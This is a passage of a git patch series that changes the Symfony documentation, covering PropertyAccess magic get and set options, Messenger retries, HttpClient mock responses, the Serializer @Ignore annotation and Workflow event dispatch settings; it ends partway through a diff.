 Writing to Array Properties
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -461,14 +475,20 @@ configured to enable extra features. To do that you could use the
     // ...
     $propertyAccessorBuilder = PropertyAccess::createPropertyAccessorBuilder();
 
-    // enables magic __call
-    $propertyAccessorBuilder->enableMagicCall();
+    $propertyAccessorBuilder->enableMagicCall(); // enables magic __call
+    $propertyAccessorBuilder->enableMagicGet(); // enables magic __get
+    $propertyAccessorBuilder->enableMagicSet(); // enables magic __set
+    $propertyAccessorBuilder->enableMagicMethods(); // enables magic __get, __set and __call
 
-    // disables magic __call
-    $propertyAccessorBuilder->disableMagicCall();
+    $propertyAccessorBuilder->disableMagicCall(); // enables magic __call
+    $propertyAccessorBuilder->disableMagicGet(); // enables magic __get
+    $propertyAccessorBuilder->disableMagicSet(); // enables magic __set
+    $propertyAccessorBuilder->disableMagicMethods(); // enables magic __get, __set and __call
 
-    // checks if magic __call handling is enabled
+    // checks if magic __call, __get or __set handling are enabled
     $propertyAccessorBuilder->isMagicCallEnabled(); // true or false
+    $propertyAccessorBuilder->isMagicGetEnabled(); // true or false
+    $propertyAccessorBuilder->isMagicSetEnabled(); // true or false
 
     // At the end get the configured property accessor
     $propertyAccessor = $propertyAccessorBuilder->getPropertyAccessor();
@@ -480,7 +500,7 @@ configured to enable extra features. To do that you could use the
 
 Or you can pass parameters directly to the constructor (not the recommended way)::
 
-    // ...
-    $propertyAccessor = new PropertyAccessor(true); // this enables handling of magic __call
+    // enable handling of magic __call, __set but not __get:
+    $propertyAccessor = new PropertyAccessor(PropertyAccessor::MAGIC_CALL | PropertyAccessor::MAGIC_SET);
 
 .. _The Inflector component: https://github.com/symfony/inflector
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 6c64626f07a..3db77d3c328 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -167,6 +167,8 @@ Configuration
 * `property_access`_
 
   * `magic_call`_
+  * `magic_get`_
+  * `magic_set`_
   * `throw_exception_on_invalid_index`_
   * `throw_exception_on_invalid_property_path`_
 
@@ -2127,6 +2129,32 @@ When enabled, the ``property_accessor`` service uses PHP's
 :ref:`magic __call() method <components-property-access-magic-call>` when
 its ``getValue()`` method is called.
 
+magic_get
+.........
+
+**type**: ``boolean`` **default**: ``true``
+
+When enabled, the ``property_accessor`` service uses PHP's
+:ref:`magic __get() method <components-property-access-magic-get>` when
+its ``getValue()`` method is called.
+
+.. versionadded:: 5.2
+
+    The magic `magic_get` option was introduced in Symfony 5.2.
+
+magic_set
+.........
+
+**type**: ``boolean`` **default**: ``true``
+
+When enabled, the ``property_accessor`` service uses PHP's
+:ref:`magic __set() method <components-property-access-writing-to-objects>` when
+its ``setValue()`` method is called.
+
+.. versionadded:: 5.2
+
+    The magic `magic_set` option was introduced in Symfony 5.2.
+
 throw_exception_on_invalid_index
 ................................
 

From 1988c14c0a1bc4f6fa07619975c06da4b1aa8df1 Mon Sep 17 00:00:00 2001
From: noniagriconomie <antoine.makdessi@agriconomie.com>
Date: Sat, 22 Aug 2020 11:25:53 +0200
Subject: [PATCH 1040/7107] Doc link script rollback option

---
 contributing/code/pull_requests.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/contributing/code/pull_requests.rst b/contributing/code/pull_requests.rst
index 4bb86e1fab7..1060e0d80a8 100644
--- a/contributing/code/pull_requests.rst
+++ b/contributing/code/pull_requests.rst
@@ -196,6 +196,8 @@ want to debug are installed by running ``composer install`` inside it.
     If symlinks to your local Symfony fork cannot be resolved inside your project due to 
     your dev environment (for instance when using Vagrant where only the current project 
     directory is mounted), you can alternatively use the ``--copy`` option.
+    When finishing testing your Symfony code into your project, you can use
+    the ``--rollback`` option to make your project back to its original dependencies.
 
 .. _work-on-your-patch:
 

From 27f13a880fe9c46140763207a56caf36a862940a Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=A9r=C3=A9my=20Deruss=C3=A9?= <jeremy@derusse.com>
Date: Wed, 26 Aug 2020 10:56:09 +0200
Subject: [PATCH 1041/7107] Change the way to create table in Lock PDO

---
 components/lock.rst | 24 +++++-------------------
 1 file changed, 5 insertions(+), 19 deletions(-)

diff --git a/components/lock.rst b/components/lock.rst
index cc14aa01334..95734c22c2e 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -350,25 +350,11 @@ support blocking, and expects a TTL to avoid stalled locks::
 
     This store does not support TTL lower than 1 second.
 
-Before storing locks in the database, you must create the table that stores
-the information. The store provides a method called
-:method:`Symfony\\Component\\Lock\\Store\\PdoStore::createTable`
-to set up this table for you according to the database engine used::
-
-    try {
-        $store->createTable();
-    } catch (\PDOException $exception) {
-        // the table could not be created for some reason
-    }
-
-A great way to set up the table in production is to call the ``createTable()``
-method in your local computer and then generate a
-:ref:`database migration <doctrine-creating-the-database-tables-schema>`:
-
-.. code-block:: terminal
-
-    $ php bin/console doctrine:migrations:diff
-    $ php bin/console doctrine:migrations:migrate
+The table where values are stored is created automatically on the first call to
+the :method:`Symfony\\Component\\Lock\\Store\\PdoStore::save` method.
+You can also create this table explicitly by calling the
+:method:`Symfony\\Component\\Lock\\Store\\PdoStore::createTable` method in
+your code.
 
 .. _lock-store-redis:
 

From 6d37db16e3fce3965d4dbd644e21980801cab66b Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 26 Aug 2020 11:21:55 +0200
Subject: [PATCH 1042/7107] minor #14055

---
 routing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/routing.rst b/routing.rst
index 0b675a67a60..188ba1d8fba 100644
--- a/routing.rst
+++ b/routing.rst
@@ -1881,7 +1881,7 @@ Now, if the session is used, the application will report it based on your
 * ``enabled``: will throw an :class:`Symfony\\Component\\HttpKernel\\Exception\\UnexpectedSessionUsageException` exception
 * ``disabled``: will log a warning
 
-It will help you in understanding and hopefully fixing unexpected behavior in your application.
+It will help you understand and hopefully fixing unexpected behavior in your application.
 
 .. _routing-generating-urls:
 

From 9a74dce178cbacaee4dacda8b6b3113ebf776d8a Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=A9r=C3=A9my=20Deruss=C3=A9?= <jeremy@derusse.com>
Date: Wed, 26 Aug 2020 12:44:50 +0200
Subject: [PATCH 1043/7107] Document RecoverableMessageHandlingException

---
 messenger.rst | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index f334ae66b89..ff43fd0ec08 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -725,6 +725,15 @@ and should not be retried. If you throw
 :class:`Symfony\\Component\\Messenger\\Exception\\UnrecoverableMessageHandlingException`,
 the message will not be retried.
 
+
+Forcing Retrying
+~~~~~~~~~~~~~~~~
+
+Sometimes handling a message must fail in a way that you *know* is temporary
+and must be retried. If you throw
+:class:`Symfony\\Component\\Messenger\\Exception\\RecoverableMessageHandlingException`,
+the message will always be retried.
+
 .. _messenger-failure-transport:
 
 Saving & Retrying Failed Messages

From 84c0a78ee184c58743fb4bfe714a61056a8f54b9 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Jan=20Sch=C3=A4dlich?= <jan.schaedlich@sensiolabs.de>
Date: Wed, 26 Aug 2020 22:03:52 +0200
Subject: [PATCH 1044/7107] Fix minor typo

---
 migration.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/migration.rst b/migration.rst
index 91e85b7bf2c..8c6117de25c 100644
--- a/migration.rst
+++ b/migration.rst
@@ -188,7 +188,7 @@ that different paths were handled by different PHP files.
 In any case you have to create a ``public/index.php`` that will start
 your Symfony application by either copying the file from the
 ``FrameworkBundle``-recipe or by using Flex and requiring the
-FrameworkBundle. You will also likely have to update you web server
+FrameworkBundle. You will also likely have to update your web server
 (e.g. Apache or nginx) to always use this front controller. You can
 look at :doc:`Web Server Configuration </setup/web_server_configuration>`
 for examples on how this might look. For example when using Apache you can

From 5f6f585aec060aff8fe6571daeb4ca1eb7e29286 Mon Sep 17 00:00:00 2001
From: Gary PEGEOT <garypegeot@gmail.com>
Date: Fri, 28 Aug 2020 11:39:19 +0200
Subject: [PATCH 1045/7107] [HTTP_CLIENT] Add documentation for
 "mock_response_factory"

---
 http_client.rst | 76 +++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 76 insertions(+)

diff --git a/http_client.rst b/http_client.rst
index 33e6c9732dd..5eb3b09f711 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -1373,6 +1373,82 @@ However, using ``MockResponse`` allows simulating chunked responses and timeouts
 
     $mockResponse = new MockResponse($body());
 
+Using the Symfony Framework, if you want to use your callback in functional tests, you can do as follow:
+
+First, create an invokable or iterable class responsible of generating the response::
+
+    namespace App\Tests;
+
+    use Symfony\Contracts\HttpClient\ResponseInterface;
+    use Symfony\Component\HttpClient\Response\MockResponse;
+
+    class MockClientCallback
+    {
+        public function __invoke(string $method, string $url, array $options = []): ResponseInterface
+        {
+            // load a fixture file or generate data
+            // ...
+            return new MockResponse($data);
+        }
+    }
+
+Then configure the framework to use your callback:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/services_test.yaml
+        services:
+            # ...
+            App\Tests\MockClientCallback: ~
+
+        # config/packages/test/framework.yaml
+        framework:
+            http_client:
+                mock_response_factory: App\Tests\MockClientCallback
+
+    .. code-block:: xml
+
+        <!-- config/services_test.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsd="http://www.w3.org/2001/XMLSchema-instance"
+            xsd:schemaLocation="http://symfony.com/schema/dic/services https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <services>
+                <service id="App\Tests\MockClientCallback"/>
+            </services>
+        </container>
+
+        <!-- config/packages/framework.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:http-client mock-response-factory="App\Tests\MockClientCallback">
+                    <!-- ... -->
+                </framework-http-client>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/framework.php
+        $container->loadFromExtension('framework', [
+            'http_client' => [
+                'mock_response_factory' => MockClientCallback::class,
+            ],
+        ]);
+
+
+The ``MockHttpClient`` will now be used in test environment with your callback to generate responses.
+
 .. _`cURL PHP extension`: https://www.php.net/curl
 .. _`PSR-17`: https://www.php-fig.org/psr/psr-17/
 .. _`PSR-18`: https://www.php-fig.org/psr/psr-18/

From cc6ed26f39dfe79a561f2ceb85f67e1faa54dd89 Mon Sep 17 00:00:00 2001
From: Maxime Steinhausser <maxime.steinhausser@elao.com>
Date: Fri, 28 Aug 2020 15:03:45 +0200
Subject: [PATCH 1046/7107] [PropertyAccess] Backport typed property support to
 4.4

---
 components/property_info.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/components/property_info.rst b/components/property_info.rst
index 1997cf757d2..d8e3a693b12 100644
--- a/components/property_info.rst
+++ b/components/property_info.rst
@@ -122,6 +122,7 @@ class exposes public methods to extract several types of information:
 
 * :ref:`List of properties <property-info-list>`: :method:`Symfony\\Component\\PropertyInfo\\PropertyListExtractorInterface::getProperties`
 * :ref:`Property type <property-info-type>`: :method:`Symfony\\Component\\PropertyInfo\\PropertyTypeExtractorInterface::getTypes`
+  (including typed properties since PHP 7.4)
 * :ref:`Property description <property-info-description>`: :method:`Symfony\\Component\\PropertyInfo\\PropertyDescriptionExtractorInterface::getShortDescription` and :method:`Symfony\\Component\\PropertyInfo\\PropertyDescriptionExtractorInterface::getLongDescription`
 * :ref:`Property access details <property-info-access>`: :method:`Symfony\\Component\\PropertyInfo\\PropertyAccessExtractorInterface::isReadable` and  :method:`Symfony\\Component\\PropertyInfo\\PropertyAccessExtractorInterface::isWritable`
 * :ref:`Property initializable through the constructor <property-info-initializable>`:  :method:`Symfony\\Component\\PropertyInfo\\PropertyInitializableExtractorInterface::isInitializable`
@@ -292,6 +293,10 @@ string values: ``array``, ``bool``, ``callable``, ``float``, ``int``,
 Constants inside the :class:`Symfony\\Component\\PropertyInfo\\Type`
 class, in the form ``Type::BUILTIN_TYPE_*``, are provided for convenience.
 
+.. versionadded:: 4.4
+
+    Support for typed properties (added in PHP 7.4) was introduced in Symfony 4.4.
+
 ``Type::isNullable()``
 ~~~~~~~~~~~~~~~~~~~~~~
 

From c3b9b2b731336ff22edb83e7f2586545da6d9862 Mon Sep 17 00:00:00 2001
From: Laurent VOULLEMIER <laurent.voullemier@gmail.com>
Date: Thu, 27 Aug 2020 11:55:52 +0200
Subject: [PATCH 1047/7107] Replace overriding twig.paths by twig.default_path

---
 configuration/override_dir_structure.rst | 12 +++++-------
 reference/configuration/twig.rst         |  2 ++
 2 files changed, 7 insertions(+), 7 deletions(-)

diff --git a/configuration/override_dir_structure.rst b/configuration/override_dir_structure.rst
index 16c9a93ef98..38b3a0ab821 100644
--- a/configuration/override_dir_structure.rst
+++ b/configuration/override_dir_structure.rst
@@ -94,8 +94,8 @@ Override the Templates Directory
 --------------------------------
 
 If your templates are not stored in the default ``app/Resources/views/``
-directory, use the :ref:`twig.paths <config-twig-paths>` configuration option to
-define your own templates directory (or directories):
+directory, use the :ref:`twig.default_path <config-twig-default-path>` configuration option to
+define your own templates directory (use :ref:`twig.paths <config-twig-paths>` for multiple directories):
 
 .. configuration-block::
 
@@ -104,7 +104,7 @@ define your own templates directory (or directories):
         # app/config/config.yml
         twig:
             # ...
-            paths: ["%kernel.project_dir%/templates"]
+            default_path: "%kernel.project_dir%/templates"
 
     .. code-block:: xml
 
@@ -119,7 +119,7 @@ define your own templates directory (or directories):
                 https://symfony.com/schema/dic/twig/twig-1.0.xsd">
 
             <twig:config>
-                <twig:path>%kernel.project_dir%/templates</twig:path>
+                <twig:default-path>%kernel.project_dir%/templates</twig:default-path>
             </twig:config>
 
         </container>
@@ -128,9 +128,7 @@ define your own templates directory (or directories):
 
         // app/config/config.php
         $container->loadFromExtension('twig', [
-            'paths' => [
-                '%kernel.project_dir%/templates',
-            ],
+            'default_path' => '%kernel.project_dir%/templates',
         ]);
 
 .. _override-web-dir:
diff --git a/reference/configuration/twig.rst b/reference/configuration/twig.rst
index 88229859230..0c115fbd154 100644
--- a/reference/configuration/twig.rst
+++ b/reference/configuration/twig.rst
@@ -243,6 +243,8 @@ on. Set it to ``0`` to disable all the optimizations. You can even enable or
 disable these optimizations selectively, as explained in the Twig documentation
 about `the optimizer extension`_.
 
+.. _config-twig-default-path:
+
 ``default_path``
 ~~~~~~~~~~~~~~~~
 

From b65212f9ed1d3f56e77b4af6e0ac7224dca8e899 Mon Sep 17 00:00:00 2001
From: Laurent VOULLEMIER <laurent.voullemier@gmail.com>
Date: Fri, 28 Aug 2020 22:22:20 +0200
Subject: [PATCH 1048/7107] Some fixes in structure overriding:

* Use `default_path` instead of `paths` to change translation directory (default_path is anyway added to paths)
* Replace `var` by `vendor` in the public directory section
---
 configuration/override_dir_structure.rst | 14 ++++++--------
 1 file changed, 6 insertions(+), 8 deletions(-)

diff --git a/configuration/override_dir_structure.rst b/configuration/override_dir_structure.rst
index fbfa119cc14..54788bb4964 100644
--- a/configuration/override_dir_structure.rst
+++ b/configuration/override_dir_structure.rst
@@ -141,8 +141,8 @@ Override the Translations Directory
 -----------------------------------
 
 If your translation files are not stored in the default ``translations/``
-directory, use the :ref:`framework.translator.paths <reference-translator-paths>`
-configuration option to define your own translations directory (or directories):
+directory, use the :ref:`framework.translator.default_path <reference-translator-default_path>`
+configuration option to define your own translations directory (use :ref:`framework.translator.paths <reference-translator-paths>` for multiple directories):
 
 .. configuration-block::
 
@@ -152,7 +152,7 @@ configuration option to define your own translations directory (or directories):
         framework:
             translator:
                 # ...
-                paths: ["%kernel.project_dir%/i18n"]
+                default_path: "%kernel.project_dir%/i18n"
 
     .. code-block:: xml
 
@@ -168,7 +168,7 @@ configuration option to define your own translations directory (or directories):
 
             <framework:config>
                 <framework:translator>
-                    <framework:path>%kernel.project_dir%/i18n</framework:path>
+                    <framework:default-path>%kernel.project_dir%/i18n</framework:default-path>
                 </framework:translator>
             </framework:config>
 
@@ -179,9 +179,7 @@ configuration option to define your own translations directory (or directories):
         // config/packages/translation.php
         $container->loadFromExtension('framework', [
             'translator' => [
-                'paths' => [
-                    '%kernel.project_dir%/i18n',
-                ],
+                'default_path' => '%kernel.project_dir%/i18n',
             ],
         ]);
 
@@ -192,7 +190,7 @@ Override the Public Directory
 -----------------------------
 
 If you need to rename or move your ``public/`` directory, the only thing you
-need to guarantee is that the path to the ``var/`` directory is still correct in
+need to guarantee is that the path to the ``vendor/`` directory is still correct in
 your ``index.php`` front controller. If you renamed the directory, you're fine.
 But if you moved it in some way, you may need to modify these paths inside those
 files::

From 6a3b3554a7d3163a8199d740903558040e828c57 Mon Sep 17 00:00:00 2001
From: Valentin <vasilvestre@laposte.net>
Date: Fri, 28 Aug 2020 23:42:48 +0200
Subject: [PATCH 1049/7107] [Serializer] Add an @Ignore annotation #28744

Update serializer.rst
Update components/serializer.rst

Co-authored-by: Oskar Stark <oskarstark@googlemail.com>
Update components/serializer.rst

Co-authored-by: Antoine Makdessi <antoine.makdessi@agriconomie.com>
Update components/serializer.rst

Co-authored-by: Antoine Makdessi <antoine.makdessi@agriconomie.com>
Update components/serializer.rst

Co-authored-by: Oskar Stark <oskarstark@googlemail.com>
Update components/serializer.rst

Co-authored-by: Antoine Makdessi <antoine.makdessi@agriconomie.com>
Update serializer.rst
---
 components/serializer.rst | 77 ++++++++++++++++++++++++++++++++++++++-
 1 file changed, 75 insertions(+), 2 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index ef205bf59be..b3735deb32a 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -413,8 +413,81 @@ As for groups, attributes can be selected during both the serialization and dese
 Ignoring Attributes
 -------------------
 
-As an option, there's a way to ignore attributes from the origin object.
-To remove those attributes provide an array via the ``AbstractNormalizer::IGNORED_ATTRIBUTES``
+All attributes are included by default when serializing objects. You have two alternatives to ignore some of those attributes.
+
+* `Option 1: Using @Ignore annotation`_
+* `Option 2: Using the context`_
+
+Option 1: Using ``@Ignore`` annotation
+--------------------------------------
+
+.. configuration-block::
+
+    .. code-block:: php-annotations
+
+        namespace App\Model;
+
+        use Symfony\Component\Serializer\Annotation\Ignore;
+
+        class MyClass
+        {
+            public $foo;
+
+            /**
+             * @Ignore()
+             */
+            public $bar;
+        }
+
+    .. code-block:: yaml
+
+        App\Model\MyClass:
+            attributes:
+                foo:
+                    ignore: false
+                bar:
+                    ignore: true
+
+    .. code-block:: xml
+
+        <?xml version="1.0" ?>
+        <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping
+                https://symfony.com/schema/dic/serializer-mapping/serializer-mapping-1.0.xsd"
+        >
+            <class name="App\Model\MyClass">
+                <attribute name="foo">
+                    <ignore>false</ignore>
+                </attribute>
+
+                <attribute name="bar">
+                    <ignore>true</ignore>
+                </attribute>
+            </class>
+        </serializer>
+
+You are now able to ignore specific attributes during serialization::
+
+    use App\Model\MyClass;
+    use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
+    use Symfony\Component\Serializer\Serializer;
+
+    $obj = new MyClass();
+    $obj->foo = 'foo';
+    $obj->bar = 'bar';
+
+    $normalizer = new ObjectNormalizer($classMetadataFactory);
+    $serializer = new Serializer([$normalizer]);
+
+    $data = $serializer->normalize($obj);
+    // $data = ['foo' => 'foo'];
+
+
+Option 2: Using the context
+---------------------------
+
+By providing an array via the ``AbstractNormalizer::IGNORED_ATTRIBUTES``
 key in the ``context`` parameter of the desired serializer method::
 
     use Acme\Person;

From 4ab1fd9bbe57a1d5cbec2f884b108d1ef9f18296 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@sensiolabs.de>
Date: Sun, 30 Aug 2020 11:00:11 +0200
Subject: [PATCH 1050/7107] [Messenger] rename message recorder file

---
 _build/redirection_map                                          | 1 +
 messenger.rst                                                   | 2 +-
 .../{message-recorder.rst => dispatch_after_current_bus.rst}    | 0
 3 files changed, 2 insertions(+), 1 deletion(-)
 rename messenger/{message-recorder.rst => dispatch_after_current_bus.rst} (100%)

diff --git a/_build/redirection_map b/_build/redirection_map
index 8b86b9c583f..75b0c28da2b 100644
--- a/_build/redirection_map
+++ b/_build/redirection_map
@@ -506,3 +506,4 @@
 /frontend/encore/versus-assetic /frontend
 /components/http_client /http_client
 /components/mailer /mailer
+/messenger/message-recorder messenger/dispatch_after_current_bus
diff --git a/messenger.rst b/messenger.rst
index 548e6ec4b50..3c92d19b0a4 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1510,7 +1510,7 @@ for each bus looks like this:
 #. ``add_bus_name_stamp_middleware`` - adds a stamp to record which bus this
    message was dispatched into;
 
-#. ``dispatch_after_current_bus``- see :doc:`/messenger/message-recorder`;
+#. ``dispatch_after_current_bus``- see :doc:`/messenger/dispatch_after_current_bus`;
 
 #. ``failed_message_processing_middleware`` - processes messages that are being
    retried via the :ref:`failure transport <messenger-failure-transport>` to make
diff --git a/messenger/message-recorder.rst b/messenger/dispatch_after_current_bus.rst
similarity index 100%
rename from messenger/message-recorder.rst
rename to messenger/dispatch_after_current_bus.rst

From c22f5b90d18b29b4a2eeb72435eb9f70714a7759 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Pablo=20Schl=C3=A4pfer?= <github@spam.pableu.net>
Date: Thu, 27 Aug 2020 15:13:06 +0200
Subject: [PATCH 1051/7107] fix link to `ChainAdapter::prune` method

---
 components/cache/adapters/chain_adapter.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/cache/adapters/chain_adapter.rst b/components/cache/adapters/chain_adapter.rst
index 516c49bd802..18ba769ec31 100644
--- a/components/cache/adapters/chain_adapter.rst
+++ b/components/cache/adapters/chain_adapter.rst
@@ -44,7 +44,7 @@ slowest storage engines, :class:`Symfony\\Component\\Cache\\Adapter\\ApcuAdapter
         new FilesystemAdapter(),
     ]);
 
-When calling this adapter's :method:`Symfony\\Component\\Cache\\ChainAdapter::prune` method,
+When calling this adapter's :method:`Symfony\\Component\\Cache\\Adapter\\ChainAdapter::prune` method,
 the call is delegated to all its compatible cache adapters. It is safe to mix both adapters
 that *do* and do *not* implement :class:`Symfony\\Component\\Cache\\PruneableInterface`, as
 incompatible adapters are silently ignored::

From 57cfedbfd15ebd7f65e76f847dd86f22164829be Mon Sep 17 00:00:00 2001
From: Stewart Malik <mali0037@gmail.com>
Date: Sun, 23 Aug 2020 18:35:49 +0930
Subject: [PATCH 1052/7107] [Workflow] Choose which Workflow events should be
 dispatched

---
 workflow.rst | 169 ++++++++++++++++++++++++++++++++++++++++++++++++---
 1 file changed, 159 insertions(+), 10 deletions(-)

diff --git a/workflow.rst b/workflow.rst
index 21ae4192d58..c44b821b3ce 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -351,14 +351,6 @@ order:
     * ``workflow.[workflow name].announce``
     * ``workflow.[workflow name].announce.[transition name]``
 
-    You can avoid triggering those events by using the context::
-
-        $workflow->apply($subject, $transitionName, [Workflow::DISABLE_ANNOUNCE_EVENT => true]);
-
-    .. versionadded:: 5.1
-
-        The ``Workflow::DISABLE_ANNOUNCE_EVENT`` constant was introduced in Symfony 5.1.
-
 .. note::
 
     The leaving and entering events are triggered even for transitions that stay
@@ -452,6 +444,163 @@ missing a title::
 
     The optional second argument of ``setBlocked()`` was introduced in Symfony 5.1.
 
+Choosing which Events to Dispatch
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+.. versionadded:: 5.2
+
+    Ability to choose which events to dispatch was introduced in Symfony 5.2.
+
+You are able to specify which events (does not apply to Guard event) will be
+fired when performing each transition by passing an array of workflow events
+to the ``events_to_dispatch`` configuration option.
+
+Valid options for ``events_to_dispatch`` are:
+
+    * ``null`` - all events are dispatched
+    * ``[]`` - no events are dispatched
+    * ``['workflow.leave', 'workflow.completed']`` - only specific events are dispatched
+
+.. note::
+
+    Guard Events are still dispatched in all instances.
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/workflow.yaml
+        framework:
+            workflows:
+                blog_publishing:
+                    # ...
+                    events_to_dispatch: ['workflow.leave', 'workflow.completed']
+                    # ...
+
+    .. code-block:: xml
+
+        <!-- config/packages/workflow.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"
+        >
+            <framework:config>
+                <framework:workflow name="blog_publishing">
+                    <!-- ... -->
+                    <framework:event-to-dispatch>workflow.leave</framework:event-to-dispatch>
+                    <framework:event-to-dispatch>workflow.completed</framework:event-to-dispatch>
+                    <!-- ... -->
+                </framework:workflow>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/workflow.php
+        $container->loadFromExtension('framework', [
+            // ...
+            'workflows' => [
+                'blog_publishing' => [
+                    // ...
+                    'events_to_dispatch' => [
+                        'workflow.leave',
+                        'workflow.completed',
+                    ],
+                    // ...
+                ],
+            ],
+        ]);
+
+To specify that no events will be dispatched pass an empty array to the
+configuration option.
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/workflow.yaml
+        framework:
+            workflows:
+                blog_publishing:
+                    # ...
+                    events_to_dispatch: []
+                    # ...
+
+    .. code-block:: xml
+
+        <!-- config/packages/workflow.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+            https://symfony.com/schema/dic/services/services-1.0.xsd
+            http://symfony.com/schema/dic/symfony
+            https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+            <framework:config>
+                <framework:workflow name="blog_publishing">
+                    <!-- ... -->
+                    <framework:event-to-dispatch></framework:event-to-dispatch>
+                    <!-- ... -->
+                </framework:workflow>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/workflow.php
+        $container->loadFromExtension('framework', [
+            // ...
+            'workflows' => [
+                'blog_publishing' => [
+                    // ...
+                    'events_to_dispatch' => [],
+                    // ...
+                ],
+            ],
+        ]);
+
+You are also able to explicitly disable a specific event from being fired
+when applying a transition::
+
+    use App\Entity\BlogPost;
+    use Symfony\Component\Workflow\Exception\LogicException;
+
+    $post = new BlogPost();
+
+    $workflow = $this->container->get('workflow.blog_publishing');
+
+    try {
+        $workflow->apply($post, 'to_review', [
+            Workflow::DISABLE_ANNOUNCE_EVENT => true,
+            Workflow::DISABLE_LEAVE_EVENT => true,
+        ]);
+    } catch (LogicException $exception) {
+        // ...
+    }
+
+Choosing to disable an event for a specific transition will take precedence
+over any events specified in the workflow configuration. In the above example
+the ``workflow.leave`` event will not be fired, even if it has been specified
+as an event to be dispatched for all transitions in the workflow configuration.
+
+.. versionadded:: 5.1
+
+    The ``Workflow::DISABLE_ANNOUNCE_EVENT`` constant was introduced in Symfony 5.1.
+
+.. versionadded:: 5.2
+
+    The constants for other events (as seen below) were introduced in Symfony 5.2.
+
+    * ``Workflow::DISABLE_LEAVE_EVENT``
+    * ``Workflow::DISABLE_TRANSITION_EVENT``
+    * ``Workflow::DISABLE_ENTER_EVENT``
+    * ``Workflow::DISABLE_ENTERED_EVENT``
+    * ``Workflow::DISABLE_COMPLETED_EVENT``
+
 Event Methods
 ~~~~~~~~~~~~~
 
@@ -665,7 +814,7 @@ of domain logic in your templates:
 
 ``workflow_has_marked_place()``
     Returns ``true`` if the marking of the given object has the given state.
-    
+
 ``workflow_transition_blockers()``
     Returns :class:`Symfony\\Component\\Workflow\\TransitionBlockerList` for the given transition.
 
@@ -700,7 +849,7 @@ The following example shows these functions in action:
     {% if 'reviewed' in workflow_marked_places(post) %}
         <span class="label">Reviewed</span>
     {% endif %}
-    
+
     {# Loop through the transition blockers #}
     {% for blocker in workflow_transition_blockers(post, 'publish') %}
         <span class="error">{{ blocker.message }}</span>

From 237468ee17a8ac1c3ebad7bc278a359ebe86062c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 31 Aug 2020 09:43:11 +0200
Subject: [PATCH 1053/7107] Tweaks and rewords

---
 workflow.rst | 90 ++++++++++++----------------------------------------
 1 file changed, 21 insertions(+), 69 deletions(-)

diff --git a/workflow.rst b/workflow.rst
index c44b821b3ce..4bbd6ee8ccc 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -451,19 +451,9 @@ Choosing which Events to Dispatch
 
     Ability to choose which events to dispatch was introduced in Symfony 5.2.
 
-You are able to specify which events (does not apply to Guard event) will be
-fired when performing each transition by passing an array of workflow events
-to the ``events_to_dispatch`` configuration option.
-
-Valid options for ``events_to_dispatch`` are:
-
